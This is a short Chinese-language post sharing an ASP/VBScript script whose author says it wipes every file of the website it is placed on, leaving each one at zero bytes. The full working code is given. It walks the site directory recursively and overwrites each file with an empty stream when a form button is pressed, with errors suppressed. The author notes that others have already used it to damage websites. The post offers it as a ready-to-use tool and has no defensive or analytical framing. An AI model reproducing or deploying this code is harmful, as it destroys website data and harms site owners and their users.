作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节.
　　此代码本人原创,转载请注明转自lamking.com,谢谢合作.另外程序可以扩展.

　　属于无聊时的作品,已经有人利用这个破坏了一些网站了.

　　<%
　　Server.ScriptTimeout=99999
　　If Request("Submit")<>"" Then
　　 Call ListFile(Server.mappath("./"))
　　 Response.write"清理完毕"
　　Else
　　 Response.write"<form><input type=""submit"" name=""Submit"" value=""开始清理""></form>"
　　End If
　　Function ListFile(fpath)
　　On Error Resume Next
　　 Dim Shell,Folder,s
　　 Set Shell =Server.CreateObject ("Shell.Application")
　　 Set Folder =Shell.Namespace(fpath)
　　 Set f=Server.CreateObject("Adodb.Stream")
　　  f.Type=1
　　  f.Open
　　 For Each s in Folder.Items
　　  IF s.isfolder Then
　　   Call ListFile(s.path)
　　  Else
　　   f.SaveToFile s.path,2
　　  End if
　　 Next
　　 Set f=Nothing
　　 Set Shell=nothing
　　End function
　　%>